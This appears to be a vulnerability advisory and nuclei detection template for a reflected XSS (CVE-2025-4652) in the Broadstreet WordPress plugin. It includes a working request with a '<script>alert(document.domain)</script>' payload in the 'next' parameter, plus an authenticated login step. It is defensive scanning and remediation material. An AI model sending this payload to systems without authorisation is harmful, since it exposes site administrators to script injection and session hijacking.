CVE-2025-4652· broadstreetads / broadstreet· CWE-79
Broadstreet WordPress plugin - Reflected XSS
mediumseverity
6.1CVSS score
0.5%likelihood of exploitation, next 30 days
45%of all CVEs are less likely
Readycheck to confirm it
Broadstreet WordPress plugin < 1.51.8 contains a reflected XSS caused by unsanitised and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires victim interaction.
Impact
Attackers can execute scripts in admin users' browsers, potentially leading to session hijacking or privilege abuse.
Fix
Update to version 1.51.8 or later.
How to confirm it
Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-content/plugins/broadstreet/Broadstreet/Vendor/broadstreet-partner/index.php?action=register&id=123&next="/><script>alert(document.domain)</script>
Positive when: status_code == 200 and contains_all(body, "><script>alert(document.domain)</script>","broadstreet")Run it with nuclei: nuclei -id CVE-2025-4652 -u <target>
The full check
id: CVE-2025-4652
info:
name: Broadstreet WordPress plugin - Reflected XSS
author: Sourabh-Sahu
severity: medium
description: |
Broadstreet WordPress plugin < 1.51.8 contains a reflected XSS caused by unsanitised and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires victim interaction.
impact: |
Attackers can execute scripts in admin users' browsers, potentially leading to session hijacking or privilege abuse.
remediation: |
Update to version 1.51.8 or later.
reference:
- https://wpscan.com/vulnerability/2a18ab96-ba95-4599-824f-df12e4851e6d/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2025-4652
cwe-id: CWE-79
epss-score: 0.0052
epss-percentile: 0.44527
cpe: cpe:2.3:a:broadstreetads:broadstreet:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: broadstreetads
product: broadstreet
tags: cve,cve2025,broadstreetads,broadstreet,authenticated,wordpress,wp,wp-plugin,xss
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-content/plugins/broadstreet/Broadstreet/Vendor/broadstreet-partner/index.php?action=register&id=123&next="/><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "><script>alert(document.domain)</script>","broadstreet")
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from